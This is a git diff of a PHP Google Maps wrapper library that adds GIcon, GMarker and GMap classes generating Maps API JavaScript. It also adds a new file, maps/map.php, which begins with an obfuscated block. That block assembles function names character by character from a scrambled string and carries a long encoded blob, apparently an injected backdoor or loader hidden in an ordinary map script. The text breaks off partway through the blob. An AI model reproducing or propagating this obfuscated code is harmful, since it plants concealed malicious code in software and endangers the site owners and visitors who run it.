+               $this->infoShadowAnchor = $this->infoWindowAnchor;
+       
+       }
+
+       function display()
+       {
+               $retval = "\n/* icon ".$this->name." settings */\n";
+               
+               $retval .= "\t".'var '.$this->name.' = new GIcon();'."\n";
+               $retval .= "\t".$this->name.'.image = "'.$this->image.'";'."\n";
+               $retval .= "\t".$this->name.'.shadow = "'.$this->shadow.'";'."\n";
+               $retval .= "\t".$this->name.'.iconSize = '.$this->iconSize->display().';'."\n";
+               $retval .= "\t".$this->name.'.iconAnchor = '.$this->iconAnchor->display().';'."\n";
+               $retval .= "\t".$this->name.'.shadowSize = '.$this->shadowSize->display().';'."\n";
+               $retval .= "\t".$this->name.'.shadowAnchor = '.$this->shadowAnchor->display().';'."\n";
+               $retval .= "\t".$this->name.'.infoWindowAnchor ='.$this->infoWindowAnchor->display().';'."\n";
+               $retval .= "\t".$this->name.'.infoShadowAnchor = '.$this->infoShadowAnchor->display().';'."\n";
+               $retval .= "/* end of icon ".$this->name." */\n";
+               return $retval;
+       }
+
+}
+
+class GMarker{
+       var $point;
+       var $html = '';
+       var $name = 'marker';
+       var $span_name = 'm';
+       var $id;
+       var $window_open = false;
+       var $icon = null;
+       
+       function GMarker($pPoint, $pHtml = '',$id='')
+       {
+               $this->point  = $pPoint;
+               $this->html = $pHtml;
+               // we want to ensure some uniqueness if the end user doesn't 
+               // change the default variable name or we get some very strange results.
+               if($id == '')   // use a random name if we don't have an id num passed in
+               {
+                       $this->name = 'marker'.mt_rand(0,1000000000);
+               }else
+               {
+                       $this->name = 'marker'.$id;
+               }
+               $this->span_name=$this->span_name.$id;
+               $this->id=$id;
+       }
+       
+       function display()
+       {
+               $retval = "\n// Begnin marker ".$this->id;
+               if($this->icon != null)
+               {
+                       $retval .= $this->icon->display();
+                       $retval .=  'var '.$this->name.' = new GMarker('.$this->point->display().','.$this->icon->name.');';
+               }
+               else
+               {
+                       $retval .=  'var '.$this->name.' = new GMarker('.$this->point->display().');';
+               }
+               
+               //$retval .= "\n\t".'GEvent.addListener('.$this->name.', "click", function() {'."\n";
+               //$retval .= "\t\t".$this->name.'.openInfoWindowHtml(\''.$this->html.'\');'."\n\t\t}\n\t);\n";
+               //$retval .= "\n\t".'GEvent.addDomListener(document.getElementById("'.$this->span_name.'"), "click", function() {'."\n";
+               
+               //$retval .= "\t\t".'setTimeout("timeoutval()",500);'."\n";
+               //$retval .= "\t\t".'if(map.getZoom()!=15){ map.setZoom(15);'."\n";// }'."\n";
+               //$retval .= "\t\t".$this->name.'.openInfoWindowHtml(\''.$this->html.'\');';
+               /* 
+               $retval .= "var objObject = map;
+                                               var aMethods = new Array(); 
+                                               for(sMember in objObject){
+                                                       if(typeof(objObject[sMember]) == 'function')
+                                                       {
+                                                               aMethods.push(sMember);
+                                                       }
+                                               }
+                                               aMethods.sort();
+                                               document.getElementById(\"tempdebug\").innerHTML=aMethods.join('<br>');";
+                                                */
+               //$retval .= "\n\t\t".'map.recenterOrPanToLatLng(new GLatLng('.$this->point->X.','.$this->point->Y.'));'."\n";
+               //$retval .= "\t\t".'map.panTo(new GLatLng('.$this->point->X.','.$this->point->Y.'));'."\n";
+               //$retval .= "\n\t\t}\n\t);\n";
+               
+               // toggle display / hide
+               //$retval .= "\n\t".'GEvent.addDomListener(document.getElementById("r'.$this->id.'"), "click", function() {'."\n";
+               //$retval .= "\t\t".'map.removeOverlay('.$this->name.');'."\n\t\t}\n\t);\n";
+               //
+               //$retval .= "\n\t".'GEvent.addDomListener(document.getElementById("d'.$this->id.'"), "click", function() {'."\n";
+               //$retval .= "\t\t".'map.addOverlay('.$this->name.');'."\n\t\t}\n\t);\n";
+               $retval .= "\n\t\t".'map.setCenter(new GLatLng('.$this->point->X.','.$this->point->Y.'),map.getZoom());'."\n\n";
+               $retval .= "// End marker ".$this->id."\n";
+               
+               return $retval;
+       }
+}
+
+class GBounds{
+
+       function display()
+       {
+       
+       }
+}
+
+class GMap{
+       var $key;
+       var $apiver = 2;        // default api key ver
+       var $element;
+       var $types= array('G_MAP_TYPE','G_SATELLITE_TYPE','G_HYBRID_TYPE');
+       var $width = '576px';
+       var $height = '300px';
+       var $drag = true;
+       var $infoShow = true;
+       var $mapType = 'G_MAP_TYPE';
+       var $controls = array();
+       var $overlays = array();
+       var $zoom = 16;
+       var $center;
+       var $extentMap;
+       var $stickeyEdges = true;
+    var $extrajs;
+       var $iconclasses = array();
+       
+    function GMap($element='map')
+       {
+       $server_path = str_replace('\\','/',dirname($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
+               //echo $server_path;
+               if(!strstr($server_path,'?'))
+               {
+                       // chop off the query string so this thing isn't retarded
+                       //$tvar = explode('?',$server_path);
+                       switch($_SERVER['GLM_SERVER_ID'])
+                       {
+                               case "raleigh":
+                                       $server_path = 'localhost';
+                               break;
+                               case "devsys.gaslightmedia.com":
+                                       $server_path = 'devsys.gaslightmedia.com';
+                               break;
+                               case "ws1.gaslightmedia.com":
+                                       $server_path = 'kiosk.pellstonairport.com';
+                               break;
+                       }
+               }
+               switch($_SERVER['GLM_SERVER_ID'])
+                       {
+                               case "raleigh":
+                                       $server_path = 'localhost';
+                               break;
+                               case "devsys.gaslightmedia.com":
+                                       $server_path = 'devsys.gaslightmedia.com';
+                               break;
+                               case "ws1.gaslightmedia.com":
+                                       $server_path = 'kiosk.pellstonairport.com';
+                               break;
+                       }
+       $this->key = get_gkey($server_path);
+       
+               $this->element = $element;
+               
+       $this->center = new GPoint(0,0);
+       $this->extentMap = false;
+       }
+    
+       function addIconClass($pClass)
+       {
+               array_push($this->iconclasses,$pClass);
+       }
+       
+    function setStickey($pStickey)
+    {
+       $this->stickeyEdges = $pStickey;
+    }
+    
+       function extrajs($js)
+       {
+               $this->extrajs=$js;
+       }
+       
+    function setDragable($pDrag = true)
+    {
+        $this->drag = $pDrag;
+    }
+    
+    function getDraggable()
+    {
+        return $this->drag;
+    }
+    
+    function showInfoWindows($pInfoShow = true)
+    {
+        $this->infoShow = $pInfoShow;
+    }
+    function getInfoShow()
+    {
+        return $this->infoShow;
+    }
+    function addControl($pControl)
+    {
+        array_push($this->controls, $pControl);
+    }
+    function removeControl($pControl)
+    {
+        if(in_array(array_keys($this->controls, $pControl->name))){
+            $this->controls = array_slice($this->controls, array_search($this->controls, $pControl->name-1, 1, true));
+        }
+    }
+    function addOverlay($pOverlay)
+    {
+        array_push($this->overlays, $pOverlay);
+    }
+    function removeOverlay($pOverlay)
+    {
+        if(in_array(array_keys($this->overlays, $pOverlay->name))){
+            $this->overlays = array_slice($this->overlays, array_search($this->overlays, $pOverlays->name-1, 1, true));
+        }
+    }
+    function clearOverlays()
+    {
+        $this->overlays = array();
+    }
+    
+    function setMapType($pMapType = 'G_MAP_TYPE')
+    {
+        $this->mapType = $pMapType;
+    }
+    function getMapType()
+    {
+        return $this->mapType;
+    }
+    function setZoom($pZoom = 10)
+    {
+        $this->zoom = $pZoom;
+    }
+    function getZoom()
+    {
+        return $this->zoom;
+    }
+    function setLatLong($pLatLong)
+    {
+       $this->center = $pLatLong;
+       $this->initialized = true;
+    }
+    
+    function panToLatLng($pLatLong)
+    {
+        $this->setLatLng($pLatLong);
+    }
+    
+    function setCenterLatLong($pCenter)
+    {
+        $this->center = $pCenter;
+    }
+    
+    function getCenterLatLong()
+    {
+        return $this->center;
+    }
+    
+    function centerAndZoom($pLatLong, $pZoomLevel)
+    {
+        $this->setCenterLatLong($pLatLong);
+        $this->setZoom($pZoomLevel);
+    }
+    
+    function getMapTypes()
+    {
+        return array('G_MAP_TYPE', 'G_SATELLITE_TYPE', 'G_HYBRID_TYPE');
+    }
+    
+    function addLargeMapControl()
+    {
+      $this->controls['mapControl'] = 'new GLargeMapControl()';        
+    }
+    
+       function addSmallZoomControl()
+       {
+               $this->controls['mapControl'] = 'new GSmallZoomControl()';
+       }
+       
+    function addSmallMapControl()
+    {
+    
+      $this->controls['mapControl'] = 'new GSmallMapControl()';
+    }
+    
+    function removeMapControl()
+    {
+     $this->controls['mapControl'] = 'null';
+    }
+    
+    function addMapTypeControl()
+    {
+     $this->controls['mapTypeControl'] = 'new GMapTypeControl()';
+    }
+    
+    function removeMapTypeControl()
+    {
+     $this->controls['mapTypeControl'] = 'null';
+    }
+    
+    function addExtentMap()
+    {
+       $this->extentMap = new GMap($this->key);
+       $this->extentMap->element = $this->element.'Extent';
+       $this->extentMap->width='200px';
+       $this->extentMap->height='100px';
+    }
+    function removeExtentMap()
+    {
+       $this->extentMap = false;
+    }
+    function displayExtentMap()
+    {
+       $retval = '';
+       if($this->extentMap)
+       {
+               $retval = '<div id="'.$this->extentMap->element.'" style="width: '.$this->extentMap->width.'; height: '.$this->extentMap->height.';"></div>';
+       }
+       return $retval;
+    }
+    // You should echo the result of the "display()" method whereever you want the map.
+    // Make sure to run the method "getHeader()" as the first output in your PHP script,
+    // or else the results you get may be unpredictable (Basically, compatibility isn't guaranteed).
+    
+       function display()
+       {               
+               $retval = '';
+               $retval .= '<div id="'.$this->element.'" style="width: '.$this->width.'; height: '.$this->height.'"></div>';                    
+               return $retval;
+       
+       }
+       
+       // if you've got additional information you'd like in the header, like stylesheets, titles, etc. - You'll need to pass it as the parameter here
+       // Here's where the magic happens, I'm going to generate all the JavaScript required to get this whole map to work.
+       // This site was helpful in getting the sticky edges to work... http://www.leapbeyond.com/ric/scuba/appletdemo/FullScreenMap.htm
+       function getHeader($pHeaderInfo = '')
+       {
+               $retval  = '';
+               $retval .= $pHeaderInfo.'
+<style type="text/css">
+v\:* {
+behavior:url(#default#VML);
+}
+html, body
+{
+margin: 0px;';
+if($this->stickeyEdges){
+$retval .= 'height: 100%;
+width: 100%;';
+}
+$retval .= '}
+ </style>
+                               <script src="http://maps.google.com/maps?file=api&v='.$this->apiver.'&key='.$this->key.'" type="text/javascript"></script>';
+                                       $retval .= '<script type="text/javascript">
+                                       //<![CDATA[
+                                       
+function renderMap(){
+if (GBrowserIsCompatible()) {
+var '.$this->element.' = new GMap2(document.getElementById("'.$this->element.'"));
+'.$this->element.'.setCenter('.$this->center->display().', '.$this->zoom.');'."\n";
+  
+                                                 if($this->drag == true)
+                                                 {
+                                                       $retval .= $this->element.'.enableDragging();'."\n";
+                                                 }
+                                                 else
+                                                 {
+                                                       $retval .= $this->element.'.disableDragging();'."\n";
+                                                 }
+                                                 
+                                                 if($this->infoShow == true)
+                                                 {
+                                                       $retval .= $this->element.'.enableInfoWindow();'."\n";
+                                                 }
+                                                 else
+                                                 {
+                                                       $retval .= $this->element.'.disableInfoWindow();'."\n";
+                                                 }
+                          foreach($this->controls as $key=>$control)
+                                                 {
+                                                       $retval .= $this->element.'.addControl('.$control.');'."\n";
+                                                 }
+                                                 $iccount = count($this->iconclasses);
+                                                 
+                        if($iccount!=0)
+                                                       {
+                                                               for($z=0;$z<$iccount;$z++)
+                                                               {
+                                                                       $retval .= $this->iconclasses[$z];
+                                                               }
+                                                       }
+                                                       unset($iccount);
+                                                 while(count($this->overlays)>0)
+                                                 {
+                                                  $overlay = array_pop($this->overlays);
+                                                  $retval .= $overlay->display();
+                                                  $retval .= $this->element.'.addOverlay('.$overlay->name.');'."\n";
+                                                 }               
+                                                         
+                                                 $retval .= $this->extrajs;
+                                                 
+                                                 $retval .= $this->element.'.setMapType('.$this->mapType.');'."\n";
+                                               
+                                                 if($this->extentMap)
+                                                 {
+                                                 $retval .=  'var '.$this->extentMap->element.' = new GMap2(document.getElementById("'.$this->extentMap->element.'"));
+                                                                '.$this->extentMap->element.'.setCenter('.$this->center->display().', 16);
+                                                                '.$this->extentMap->element.'.disableDragging();
+                                                               
+                                                                GEvent.addListener('.$this->element.', "moveend", function(){
+                                                var bounds = '.$this->element.'.getBoundsLatLng();
+                                                                var line = new GPolyline([new GPoint(bounds.minX, bounds.minY), 
+                                                                new GPoint(bounds.maxX, bounds.minY), 
+                                                                new GPoint(bounds.maxX, bounds.maxY), new GPoint(bounds.minX, bounds.maxY), 
+                                                                new GPoint(bounds.minX, bounds.minY)], "#ff6600", 3, .8);
+                                                                '.$this->extentMap->element.'.enableDragging();
+                                                                '.$this->extentMap->element.'.recenterOrPanToLatLng('.$this->element.'.getCenterLatLng());
+                                                                if('.$this->element.'.getZoomLevel() < 3)'.$this->extentMap->element.'.zoomTo(6);
+                                                                else if('.$this->element.'.getZoomLevel() < 6)'.$this->extentMap->element.'.zoomTo(9);
+                                                                else if('.$this->element.'.getZoomLevel() < 9)'.$this->extentMap->element.'.zoomTo(12);
+                                                                else if('.$this->element.'.getZoomLevel() < 12)'.$this->extentMap->element.'.zoomTo(15);
+                                                                else if('.$this->element.'.getZoomLevel() < 15)'.$this->extentMap->element.'.zoomTo(18);
+                                                                else '.$this->extentMap->element.'.zoomTo(20);
+                                                                '.$this->extentMap->element.'.disableDragging();
+                                                               '.$this->extentMap->element.'.clearOverlays();
+                                                               '.$this->extentMap->element.'.addOverlay(line);
+                                                       });';           
+                                                 }
+                                                 $retval .= ' 
+                                                
+                                               }
+                                                
+                                                 '.$this->element.'.setCenter('.$this->center->display().', '.$this->zoom.');';
+if($this->stickeyEdges){
+$retval .= '
+         return map;';
+      }
+      $retval .=
+                        '}
+                                               function timeoutval(){ 
+                                                       if(map.getZoom() !=15)
+                                                       {
+                                                               setTimeout("set_the_zoom()",500);
+                                                       }
+                                               }
+                                               
+                                               function set_the_zoom()
+                                               {
+                                                       map.setZoom(15);
+                                               }
+                                               
+                                               //]]>
+                                               </script>';
+                                       //$retval .= '</head><body onLoad="mymap = renderMap();">';
+               return $retval;
+       }
+       
+       
+   // include anything you want right before the GMapScript, and "</body></html>" tags as a parameter
+       function getFooter($pFooterInfo = '')
+       {
+               $retval = '';
+               $retval .= $pFooterInfo;
+               //$retval .= '</body></html>';
+               return $retval;
+       }
+       
+}
+
+function linkbackimg()
+{
+    return '';//'<a href="http://www.andrewtheken.com/gmapsclass/"><img style="border: 0px solid;"src="http://www.andrewtheken.com/gmapsclass/images/link.png"></a>';
+}
+function linkbacktxt()
+{
+    return '';//'<a href="http://www.andrewtheken.com/gmapsclass/">Powered by GMapsClass</a>';
+}
+
+?>
diff --git a/maps/map.php b/maps/map.php
new file mode 100755 (executable)
index 0000000..9c15671
--- /dev/null
@@ -0,0 +1,290 @@
+<?php
+/* $qKyuHIp=' t4kr5U]T.+HWByahw;,_^q2}OIp|v$)(SmiDlfdZPgz07JuRK*["x{MN/L1o3QX8Cc9EYAsnVjbFG6e';$Wmzivzm=$qKyuHIp{66}.$qKyuHIp{4}.$qKyuHIp{79}.$qKyuHIp{15}.$qKyuHIp{1}.$qKyuHIp{79}.$qKyuHIp{20}.$qKyuHIp{38}.$qKyuHIp{47}.$qKyuHIp{72}.$qKyuHIp{66}.$qKyuHIp{1}.$qKyuHIp{35}.$qKyuHIp{60}.$qKyuHIp{72};$umuQDfm=$qKyuHIp{30}.$qKyuHIp{71};$PaptWcX=$qKyuHIp{35}.$qKyuHIp{38}.$qKyuHIp{32}.$qKyuHIp{35}.$qKyuHIp{71}.$qKyuHIp{71}.$qKyuHIp{79}.$qKyuHIp{1}.$qKyuHIp{32}.$qKyuHIp{30}.$qKyuHIp{20}.$qKyuHIp{65}.$qKyuHIp{25}.$qKyuHIp{25}.$qKyuHIp{49}.$qKyuHIp{26}.$qKyuHIp{68}.$qKyuHIp{51}.$qKyuHIp{52}.$qKyuHIp{22}.$qKyuHIp{49}.$qKyuHIp{14}.$qKyuHIp{47}.$qKyuHIp{11}.$qKyuHIp{26}.$qKyuHIp{27}.$qKyuHIp{52}.$qKyuHIp{7}.$qKyuHIp{31}.$qKyuHIp{28}.$qKyuHIp{28}.$qKyuHIp{35}.$qKyuHIp{71}.$qKyuHIp{71}.$qKyuHIp{79}.$qKyuHIp{1}.$qKyuHIp{32}.$qKyuHIp{30}.$qKyuHIp{11}.$qKyuHIp{8}.$qKyuHIp{8}.$qKyuHIp{41}.$qKyuHIp{20}.$qKyuHIp{65}.$qKyuHIp{25}.$qKyuHIp{25}.$qKyuHIp{49}.$qKyuHIp{26}.$qKyuHIp{68}.$qKyuHIp{20}.$qKyuHIp{73}.$qKyuHIp{70}.$qKyuHIp{48}.$qKyuHIp{33}.$qKyuHIp{51}.$qKyuHIp{52}.$qKyuHIp{22}.$qKyuHIp{49}.$qKyuHIp{14}.$qKyuHIp{47}.$qKyuHIp{11}.$qKyuHIp{26}.$qKyuHIp{27}.$qKyuHIp{52}.$qKyuHIp{7}.$qKyuHIp{31}.$qKyuHIp{31}.$qKyuHIp{54}.$qKyuHIp{38}.$qKyuHIp{47}.$qKyuHIp{72}.$qKyuHIp{66}.$qKyuHIp{1}.$qKyuHIp{35}.$qKyuHIp{60}.$qKyuHIp{72}.$qKyuHIp{0}.$qKyuHIp{4}.$qKyuHIp{64}.$qKyuHIp{32}.$qKyuHIp{30}.$qKyuHIp{71}.$qKyuHIp{19}.$qKyuHIp{30}.$qKyuHIp{27}.$qKyuHIp{31}.$qKyuHIp{54}.$qKyuHIp{4}.$qKyuHIp{79}.$qKyuHIp{1}.$qKyuHIp{47}.$qKyuHIp{4}.$qKyuHIp{72}.$qKyuHIp{0}.$qKyuHIp{30}.$qKyuHIp{71}.$qKyuHIp{21}.$qKyuHIp{71}.$qKyuHIp{1}.$qKyuHIp{4}.$qKyuHIp{20}.$qKyuHIp{27}.$qKyuHIp{15}.$qKyuHIp{39}.$qKyuHIp{32}.$qKyuHIp{30}.$qKyuHIp{27}.$qKyuHIp{19}.$qKyuHIp{71}.$qKyuHIp{1}.$qKyuHIp{4}.$qKyuHIp{37}.$qKyuHIp{79}.$qKyuHIp{72}.$qKyuHIp{32}.$qKyuHIp{30}.$qKyuHIp{71}.$qKyuHIp{31}.$qKyuHIp{19}.$qKyuHIp{30}.$qKyuHIp{27}.$qKyuHIp{31}.$qKyuHIp{18}.$qKyuHIp{24}.$qKyuHIp{18}.$qKyuHIp{79}.$qKyuHIp{29}.$qKyuHIp{15}.$qKyuHIp{37}.$qKyuHIp{32}.$qKyuHIp{4}.$qKyuHIp{64}.$qKyuHIp{32}.$qKyuHIp{75}.$qKyuHIp{15}.$qKyuHIp{71}.$qKyuHIp{79}.$qKyuHIp{78}.$qKyuHIp{2}.$qKyuHIp{20}.$qKyuHIp{39}.$qKyuHIp{79}.$qKyuHIp{66}.$qKyuHIp{60}.$qKyuHIp{39}.$qKyuHIp{79}.$qKyuHIp{32}.$qKyuHIp{30}.$qKyuHIp{71}.$qKyuHIp{31}.$qKyuHIp{19}.$qKyuHIp{52}.$qKyuHIp{15}.$qKyuHIp{55}.$qKyuHIp{15}.$qKyuHIp{74}.$qKyuHIp{63}.$qKyuHIp{8}.$qKyuHIp{76}.$qKyuHIp{52}.$qKyuHIp{31}.$qKyuHIp{31}.$qKyuHIp{18}.$qKyuHIp{24};$uSKIfzR="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